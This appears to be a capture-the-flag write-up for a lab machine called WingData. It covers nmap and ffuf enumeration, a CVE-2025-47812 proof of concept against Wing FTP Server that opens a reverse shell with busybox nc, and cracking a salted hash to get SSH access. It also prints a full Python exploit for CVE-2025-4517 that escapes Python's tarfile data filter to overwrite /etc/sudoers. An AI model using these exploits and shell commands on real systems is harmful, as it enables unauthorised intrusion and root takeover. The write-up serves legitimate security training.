TL;DR#
Kill Chain
The machine was fun, straightforward and simple if you look at the right places.
- Foothold: Exploited CVE-2025-47812 in Wing FTP Server v7.4.3 to gain a shell as the wingftp user.
- Lateral Movement: Recovered a salted SHA-256 hash for the user wacky from server files.
- Cracked the hash using the default salt (WingFTP) to gain SSH access.
- Privilege Escalation: Identified a sudo misconfiguration allowing the execution of a Python restoration script.
- Leveraged CVE-2025-4517 to bypass Python’s tarfile
datafilter. Used a path-length overflow in a malicious tarball, escaped the extraction directory to overwrite/etc/sudoers.
Enumeration#
$target=10.129.6.208
$echo "$target wingdata.htb" | sudo tee -a /etc/hostsNmap#
$nmap -sV -sC -vv -Pn -T4 -oN nmap_default $target
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1fa958bd7560385e445c9c71eba283b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
| 256 9cba211a972f3a6473c14c1dce657a2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: WingData Solutions
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernelA ran a full ports scan in the background but no unusual ports were found. Also noting running UDP.
Ffuf#
Fuzzing for directories didn’t show anything useful. Let’s see if we have any vhosts:
$ffuf -ic -c -v -w `fzf-wordlists`:FUZZ -u "http://wingdata.htb" -H "Host: FUZZ.wingdata.htb" -fw 21
:: Wordlist : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.wingdata.htb
:: Filter : Response words: 21
________________________________________________
[Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 105ms]
| URL | http://wingdata.htb
* FUZZ: ftpAnd we should add that to our /etc/hosts.
Foothold - wingftp user#
Now let’s visit the website:

A file sharing platform? Makes sense.
Visiting the client portal leads us to http://ftp.wingdata.htb/login.html?lang=english. And a version number: Wing FTP Server v7.4.3

Which is vulnerable to CVE-2025-47812 for which we can find this POC:
python3 cve.py -u http://ftp.wingdata.htb -c 'busybox nc <ip> 9443 -e sh' -v
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'busybox nc <ip> 9443 -e sh' and username: 'anonymous'
[+] UID extracted: dc3a3bf1e69edc9eafcb923960764150f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: dc3a3bf1e69edc9eafcb923960764150f528764d624db129b32c21fbca0cb8d6
[-] Error sending GET request to http://ftp.wingdata.htb/dir.html: HTTPConnectionPool(host='ftp.wingdata.htb', port=80): Read timed out. (read timeout=10)And we get a hit back on our listener as user wingftp.
I foudn the Data/settings.xml file to contain a server hashed password: 2D35A8D420A697203D7C554A678F8119

Which is identified as an MD5 hash but coudln’t be cracked.
Here also another valuable information:

The useful info we can get is from wacky.xml which contains a password hash:
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
The hash couldn’t be identified, so based on the default documentation:

The default salt is WingFTP.
echo 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WinFTP > hash
Which is cracked to !#7Blushing^*Bride5.
User Flag#
ssh wacky@wingdata.htb
User Flag Owned!
Privilege Escalation#
Sudo Privileges#
First thigns first:
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *We can read the script:
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"
def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)
args = parser.parse_args()
if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)
if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)
tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)
if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")
os.makedirs(staging_dir, exist_ok=True)
try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)
if __name__ == "__main__":
main()CVE-2025-4517#
Which shows a vulnerablity and a CVE.:
The script uses the tarfile.extractall() function with the filter=“data” argument. While this filter was introduced in Python 3.12 to prevent classic Path Traversal (TarSlip) attacks, it is vulnerable to CVE-2025-4517.
This vulnerability allows an attacker to bypass the “secure” filter by creating a tar archive with a specific chain of symlinks and directory structures that exceed the system’s PATH_MAX. When the path becomes too long, Python’s realpath normalization fails, allowing files to be written outside of the intended STAGING_BASE directory.
Because the script is executed via sudo, we can use this arbitrary file write to overwrite sensitive system files as root.
You can view this Github security advisory
import tarfile
import os
import io
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("backup_9999.tar", mode="w") as tar:
# Build the path overflow chain
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# Create the link that exceeds PATH_MAX
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
# Target /etc via the overflow escape
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# Create a hardlink to sudoers and provide new content
f = tarfile.TarInfo("sudoers_link")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
c = tarfile.TarInfo("sudoers_link")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))We create the tarball and move it to the required backup directory and trigger the restoration script:
# Move the exploit to the expected directory
cp backup_9999.tar /opt/backup_clients/backups/
# Run the script via the permitted sudo path
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evilNow that /etc/sudoers overwritten, we now have unrestricted sudo access.
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
(ALL) NOPASSWD: ALL
wacky@wingdata:~$ sudo su - -c "cat /root/root.txt"
<SNIP>Rooted. GG to the author, the machine is pretty straight forward with minimal but targetted enumeration.
